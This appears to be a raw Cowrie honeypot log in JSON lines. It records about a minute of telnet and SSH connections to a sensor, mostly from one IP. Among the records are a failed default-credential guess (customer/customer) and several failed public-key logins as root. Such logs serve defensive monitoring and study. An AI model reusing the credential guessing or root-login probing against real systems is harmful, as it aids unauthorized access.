{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46648,"dst_ip":"10.17.0.5","dst_port":23,"session":"95aec3cca2cc","protocol":"telnet","message":"New connection: 152.42.224.71:46648 (10.17.0.5:23) [session: 95aec3cca2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:53.082595Z"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:57.895779Z","src_ip":"47.237.167.49","session":"472657f6322c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:59.202314Z","src_ip":"47.237.167.49","session":"472657f6322c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42790,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b7211641603","protocol":"telnet","message":"New connection: 152.42.224.71:42790 (10.17.0.5:23) [session: 4b7211641603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:59.994914Z"}
{"eventid":"cowrie.session.closed","duration":56.73732042312622,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:02.712692Z","src_ip":"152.42.224.71","session":"dcaf634a5c75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.130236625671387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:03.204085Z","src_ip":"152.42.224.71","session":"4d817c9373a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42802,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3b0ad0dfe96","protocol":"telnet","message":"New connection: 152.42.224.71:42802 (10.17.0.5:23) [session: b3b0ad0dfe96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:04.465079Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42754,"dst_ip":"10.17.0.5","dst_port":23,"session":"febdbb84ba0c","protocol":"telnet","message":"New connection: 152.42.224.71:42754 (10.17.0.5:23) [session: febdbb84ba0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:06.297896Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42764,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2d3ed2e4216","protocol":"telnet","message":"New connection: 152.42.224.71:42764 (10.17.0.5:23) [session: a2d3ed2e4216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:06.864801Z"}
{"eventid":"cowrie.session.closed","duration":38.109753370285034,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:07.350554Z","src_ip":"152.42.224.71","session":"58e6ccebf129","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42780,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6339bca8cb6","protocol":"telnet","message":"New connection: 152.42.224.71:42780 (10.17.0.5:23) [session: b6339bca8cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:13.737179Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.127.163","src_port":45170,"dst_ip":"10.17.0.5","dst_port":22,"session":"59edd69a5388","protocol":"ssh","message":"New connection: 198.20.127.163:45170 (10.17.0.5:22) [session: 59edd69a5388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:14.513902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:14.519179Z","src_ip":"198.20.127.163","session":"59edd69a5388","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:14.607041Z","src_ip":"198.20.127.163","session":"59edd69a5388","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:90:f1:f9:1f:5c:25:f7:30:c7:35:46:c8:66:bd:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCB1KYYj9i0XqqLI45VTJJSFLroLorf9YtZVI7Ly3VF+izBRZIFLqQQmq3HxqPcihHD3a0uYytOsQ1eABjJUmVK2KjtrNGxN2V38PRgVC9dmMusJ22l1Pg40Il2o/ybQjNJLYwn3pPeaVHUBT2Ys8VuNAi4YPDf6wcXpbN1NRmeO32Uzawq/vz+ZA9gXtLXXaHckvKufwuLmpbu1WQ+JxXUieuuwVM/AI5SeLKNi4I/3xoaJ9UcAiwrfO8ANAS8v3CzKTi9wGIvYqW57Gy3bqW1f8KGFpRMyKWXRfxV9Z3/HwAF0SxjgRg/RBioXcyXeqgVwj6bGJBr6uxlQsA9izK9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:90:f1:f9:1f:5c:25:f7:30:c7:35:46:c8:66:bd:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:15.026150Z","src_ip":"198.20.127.163","session":"59edd69a5388","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:90:f1:f9:1f:5c:25:f7:30:c7:35:46:c8:66:bd:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCB1KYYj9i0XqqLI45VTJJSFLroLorf9YtZVI7Ly3VF+izBRZIFLqQQmq3HxqPcihHD3a0uYytOsQ1eABjJUmVK2KjtrNGxN2V38PRgVC9dmMusJ22l1Pg40Il2o/ybQjNJLYwn3pPeaVHUBT2Ys8VuNAi4YPDf6wcXpbN1NRmeO32Uzawq/vz+ZA9gXtLXXaHckvKufwuLmpbu1WQ+JxXUieuuwVM/AI5SeLKNi4I/3xoaJ9UcAiwrfO8ANAS8v3CzKTi9wGIvYqW57Gy3bqW1f8KGFpRMyKWXRfxV9Z3/HwAF0SxjgRg/RBioXcyXeqgVwj6bGJBr6uxlQsA9izK9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:15.030231Z","src_ip":"198.20.127.163","session":"59edd69a5388","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:b1:3a:b3:05:49:b9:7f:d6:67:f7:4c:b8:2a:bd:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKEZc+u+QPhRr1osL3yjVAKItsV2BTf/zdl04o72UHBU7/tcyNPuQjV/9k7OMWRNJmNEJgbFd6EgdDWr0o5YEWHtE5Ibl12DFZtsAmQts9zl/GPljaMJjZMgc/6fk4i3nfcc0oYqTbm75T2/wk4u15QPHjTVaCBZJicodeoTzFHKRimHPIgrtb8Ob3i/To0ib/xwfN4LqHWG6C8qf8Re878gwZS3O7bIvUQcjVt5nhGqtcBdU0eyiPjbrrJLMiGKV0BesIvhWxWoUoVzmE0NAXvInUZGTu1dPgDfvr/MW5mqokMN83blQGSNPDdnKwdvNRMV7kMfq2pmPKnnApRDU/WWyEbMur7gqeGrpB4Ala5PQVz5qRosai3Af1HxarF4C4g7IbPCTGjC9n/2KcDMqqzQxjYO3FnwFeabQrXTD+YoXNEdnvSqGHYrsngfGiLTOSjKlkWCRhhOf7RGRKKzwr8spzja40vpttD3OJH35ik4Qyyl5z/hhKv07s2z5tFJ8NIl24r9ToCcoZNNKqDfCMwg/uW3L9EYyQFVKVSOyXO2pT7aeLC9hDUR2deD0ldbM5Y8eXtaHSu6M1VtUJhUy2h9znbtjGBNcJ2b2+nksk5T5yrxlUApl0wgI6U73g6ogiLWSVnqZSpguCVZw74JWNbN1DgAGX3+o4IxdNc1ildw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:b1:3a:b3:05:49:b9:7f:d6:67:f7:4c:b8:2a:bd:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:15.120110Z","src_ip":"198.20.127.163","session":"59edd69a5388","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:b1:3a:b3:05:49:b9:7f:d6:67:f7:4c:b8:2a:bd:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKEZc+u+QPhRr1osL3yjVAKItsV2BTf/zdl04o72UHBU7/tcyNPuQjV/9k7OMWRNJmNEJgbFd6EgdDWr0o5YEWHtE5Ibl12DFZtsAmQts9zl/GPljaMJjZMgc/6fk4i3nfcc0oYqTbm75T2/wk4u15QPHjTVaCBZJicodeoTzFHKRimHPIgrtb8Ob3i/To0ib/xwfN4LqHWG6C8qf8Re878gwZS3O7bIvUQcjVt5nhGqtcBdU0eyiPjbrrJLMiGKV0BesIvhWxWoUoVzmE0NAXvInUZGTu1dPgDfvr/MW5mqokMN83blQGSNPDdnKwdvNRMV7kMfq2pmPKnnApRDU/WWyEbMur7gqeGrpB4Ala5PQVz5qRosai3Af1HxarF4C4g7IbPCTGjC9n/2KcDMqqzQxjYO3FnwFeabQrXTD+YoXNEdnvSqGHYrsngfGiLTOSjKlkWCRhhOf7RGRKKzwr8spzja40vpttD3OJH35ik4Qyyl5z/hhKv07s2z5tFJ8NIl24r9ToCcoZNNKqDfCMwg/uW3L9EYyQFVKVSOyXO2pT7aeLC9hDUR2deD0ldbM5Y8eXtaHSu6M1VtUJhUy2h9znbtjGBNcJ2b2+nksk5T5yrxlUApl0wgI6U73g6ogiLWSVnqZSpguCVZw74JWNbN1DgAGX3+o4IxdNc1ildw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:15.124640Z","src_ip":"198.20.127.163","session":"59edd69a5388","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:ce:28:92:4a:0b:e0:ac:29:7c:c9:67:0c:ec:b0:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMOIxnpyAtAJ1abNlJiAtdA5w1R18YEQsszJ3RBz0FsFXhppcCPaz2UlXVqrFkl/i+pTo7EiL3spylQ4jGkAUyInQsty3Rn0+gOVYL3rff6BfCi8HhnLEmNM2nqoLVVwBr34SxRFRBUK94+4hZEHUCeewEKie24HYuz1SQe0plBRqRUHDR30No8MFtSg7co5T/EE8HX5+XOs/79YqKNa1lmEZkuhCssx03aTUzkcTYH7rJUNodENkwazjoD8icVyCjivGhTAhL86AxHwRbrN2TtYJeKQulf75eKhPqw0Q6B/bLRJFqz3y3LQw+FS5j1MMW8ZYaVMRRFcTgqRTZD3i5IZYilOUCUf9kf5+X/IBn0yC+A/D/J2EKmZaMYJ+MFCiima1lLVEkle7va0b14QJGj89laygpBCby5ygcxGG2Icy211gt/VPHQOM48Njuh/sMTd5IfUpwc4O6SYAZ16g8KUQ3BXG1UjZySjKNVind1wJarjadBezEPdmjEwniXpBv3U9usVwUHq4ebmKAbo/vLbzyoKDcARUrXugHFyN57FDSF1Mvjz8GzlIaIusxR0OGQYaHjHsp0o/7mvSRQuIlxzyBn8mldX1quO2uznaMvPNABr0uvbMyyL1QLrLO9xo2NMaD4RCUMt5fRe5dG9VJb0yNVGQIU/D5hGdW0wWcyw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:ce:28:92:4a:0b:e0:ac:29:7c:c9:67:0c:ec:b0:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:15.218409Z","src_ip":"198.20.127.163","session":"59edd69a5388","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:ce:28:92:4a:0b:e0:ac:29:7c:c9:67:0c:ec:b0:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMOIxnpyAtAJ1abNlJiAtdA5w1R18YEQsszJ3RBz0FsFXhppcCPaz2UlXVqrFkl/i+pTo7EiL3spylQ4jGkAUyInQsty3Rn0+gOVYL3rff6BfCi8HhnLEmNM2nqoLVVwBr34SxRFRBUK94+4hZEHUCeewEKie24HYuz1SQe0plBRqRUHDR30No8MFtSg7co5T/EE8HX5+XOs/79YqKNa1lmEZkuhCssx03aTUzkcTYH7rJUNodENkwazjoD8icVyCjivGhTAhL86AxHwRbrN2TtYJeKQulf75eKhPqw0Q6B/bLRJFqz3y3LQw+FS5j1MMW8ZYaVMRRFcTgqRTZD3i5IZYilOUCUf9kf5+X/IBn0yC+A/D/J2EKmZaMYJ+MFCiima1lLVEkle7va0b14QJGj89laygpBCby5ygcxGG2Icy211gt/VPHQOM48Njuh/sMTd5IfUpwc4O6SYAZ16g8KUQ3BXG1UjZySjKNVind1wJarjadBezEPdmjEwniXpBv3U9usVwUHq4ebmKAbo/vLbzyoKDcARUrXugHFyN57FDSF1Mvjz8GzlIaIusxR0OGQYaHjHsp0o/7mvSRQuIlxzyBn8mldX1quO2uznaMvPNABr0uvbMyyL1QLrLO9xo2NMaD4RCUMt5fRe5dG9VJb0yNVGQIU/D5hGdW0wWcyw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:15.223976Z","src_ip":"198.20.127.163","session":"59edd69a5388","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:09:b0:30:ba:36:c1:9d:ce:7f:91:d2:7b:5e:cb:23","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJa2ltO/r9FcTyPwiwXUmxnsBF/i/IdXSNW9DUnQ2YN5","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c4:09:b0:30:ba:36:c1:9d:ce:7f:91:d2:7b:5e:cb:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:15.315407Z","src_ip":"198.20.127.163","session":"59edd69a5388","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:09:b0:30:ba:36:c1:9d:ce:7f:91:d2:7b:5e:cb:23","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJa2ltO/r9FcTyPwiwXUmxnsBF/i/IdXSNW9DUnQ2YN5","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:15.320174Z","src_ip":"198.20.127.163","session":"59edd69a5388","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:7f:ec:03:ec:65:a6:86:b2:d9:0c:89:26:07:32:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDujJfe1mP2exLZN3Md9hp+FQmlxh4t1b8FVcKClcTq+q6ctiBiBRj/l12LflOwQOpbZQUQZoU95aXN/NljA8zm/ol/zpnePK+s3v2ZZ3LgbeIxXuraxRAVCeiflh8eRr7GDOIF98GS9TU/LGlfj6bWrnRqTd32v8SQJk/Jg9B6KpSSveExIJBc4Az1d5xYRPKXVL7LLOsUAnz2EJf6SOlnRDGX+8DQlNDxZ7uj8t2eLA5zxLoSbW93xSE2NOr0IS/88XRfq/S/E+We4QSVge4twrpfOwH2C/49zgc9ZhagJuUf6QQsecTHH2tWM1Z0UDFok/OTnTnDapWPo3fVi7vTm6vj5sNAzhTflStAgFNmROf4C0wRJHP4O6BQpKTtQ1QSSmDhrnyirsj+0PjaExfKMGrrAkCcg+cIK73ZmrM79FJvcRXI2FCxll9PigaC+2hZ6tcOk4cyKeaqphMW8q4BQlL8TakX07m8jn+OYKiDEZ9R3mBloKr/gpzi0tvPnZPykIr0dkRNjEp4B4SIHvkN+j6JbEhRiC+Kt6g6johSK8JkLIE6Z8jlXkyBUsOUqz2nKNEgIrZqtyYQSVeroWd2VNhUazfkS37L8Oy91Wdj0Wl4cg4IxK7wl/tujXjUUQapVM3xeg7iNZeX4wVm/0n7pcHpV6AXdpm0fJ1jf/ogQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:7f:ec:03:ec:65:a6:86:b2:d9:0c:89:26:07:32:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:15.410533Z","src_ip":"198.20.127.163","session":"59edd69a5388","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:7f:ec:03:ec:65:a6:86:b2:d9:0c:89:26:07:32:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDujJfe1mP2exLZN3Md9hp+FQmlxh4t1b8FVcKClcTq+q6ctiBiBRj/l12LflOwQOpbZQUQZoU95aXN/NljA8zm/ol/zpnePK+s3v2ZZ3LgbeIxXuraxRAVCeiflh8eRr7GDOIF98GS9TU/LGlfj6bWrnRqTd32v8SQJk/Jg9B6KpSSveExIJBc4Az1d5xYRPKXVL7LLOsUAnz2EJf6SOlnRDGX+8DQlNDxZ7uj8t2eLA5zxLoSbW93xSE2NOr0IS/88XRfq/S/E+We4QSVge4twrpfOwH2C/49zgc9ZhagJuUf6QQsecTHH2tWM1Z0UDFok/OTnTnDapWPo3fVi7vTm6vj5sNAzhTflStAgFNmROf4C0wRJHP4O6BQpKTtQ1QSSmDhrnyirsj+0PjaExfKMGrrAkCcg+cIK73ZmrM79FJvcRXI2FCxll9PigaC+2hZ6tcOk4cyKeaqphMW8q4BQlL8TakX07m8jn+OYKiDEZ9R3mBloKr/gpzi0tvPnZPykIr0dkRNjEp4B4SIHvkN+j6JbEhRiC+Kt6g6johSK8JkLIE6Z8jlXkyBUsOUqz2nKNEgIrZqtyYQSVeroWd2VNhUazfkS37L8Oy91Wdj0Wl4cg4IxK7wl/tujXjUUQapVM3xeg7iNZeX4wVm/0n7pcHpV6AXdpm0fJ1jf/ogQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:15.414692Z","src_ip":"198.20.127.163","session":"59edd69a5388","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:15.507571Z","src_ip":"198.20.127.163","session":"59edd69a5388","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46324,"dst_ip":"10.17.0.5","dst_port":23,"session":"6455a371bf9d","protocol":"telnet","message":"New connection: 152.42.224.71:46324 (10.17.0.5:23) [session: 6455a371bf9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:22.071069Z"}
{"eventid":"cowrie.session.closed","duration":43.3869526386261,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:24.268870Z","src_ip":"152.42.224.71","session":"78140e44e06c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":106.04630041122437,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:24.886661Z","src_ip":"152.42.224.71","session":"06829822899b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.11849021911621,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:32.983172Z","src_ip":"152.42.224.71","session":"a2d3ed2e4216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.12869119644165,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:35.189409Z","src_ip":"152.42.224.71","session":"30ae75088692","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57740,"dst_ip":"10.17.0.5","dst_port":23,"session":"e758e2248562","protocol":"telnet","message":"New connection: 152.42.224.71:57740 (10.17.0.5:23) [session: e758e2248562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:36.162424Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57754,"dst_ip":"10.17.0.5","dst_port":23,"session":"f209a0e0b7e2","protocol":"telnet","message":"New connection: 152.42.224.71:57754 (10.17.0.5:23) [session: f209a0e0b7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:37.042057Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54416,"dst_ip":"10.17.0.5","dst_port":23,"session":"09ab2a60fbf6","protocol":"telnet","message":"New connection: 152.42.224.71:54416 (10.17.0.5:23) [session: 09ab2a60fbf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:37.265954Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57766,"dst_ip":"10.17.0.5","dst_port":23,"session":"44a8f87ef13c","protocol":"telnet","message":"New connection: 152.42.224.71:57766 (10.17.0.5:23) [session: 44a8f87ef13c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:41.263861Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57780,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ab36ec4559d","protocol":"telnet","message":"New connection: 152.42.224.71:57780 (10.17.0.5:23) [session: 8ab36ec4559d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:42.155086Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57794,"dst_ip":"10.17.0.5","dst_port":23,"session":"95c01de69c18","protocol":"telnet","message":"New connection: 152.42.224.71:57794 (10.17.0.5:23) [session: 95c01de69c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:44.070933Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48608,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d75aa365fc5","protocol":"telnet","message":"New connection: 152.42.224.71:48608 (10.17.0.5:23) [session: 5d75aa365fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:46.874216Z"}
{"eventid":"cowrie.session.closed","duration":43.35624647140503,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:47.821225Z","src_ip":"152.42.224.71","session":"b3b0ad0dfe96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":96.91431140899658,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:52.011292Z","src_ip":"152.42.224.71","session":"c3a8807ae7e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00215744972229,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:53.540020Z","src_ip":"152.42.224.71","session":"c826d7b414f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.36312460899353,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:54.357875Z","src_ip":"152.42.224.71","session":"4b7211641603","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":48264,"dst_ip":"159.203.135.109","dst_port":22,"session":"93bf94a5bf30","protocol":"ssh","message":"New connection: 170.238.160.191:48264 (159.203.135.109:22) [session: 93bf94a5bf30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:54.896189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:54.901383Z","src_ip":"170.238.160.191","session":"93bf94a5bf30","protocol":"ssh"}
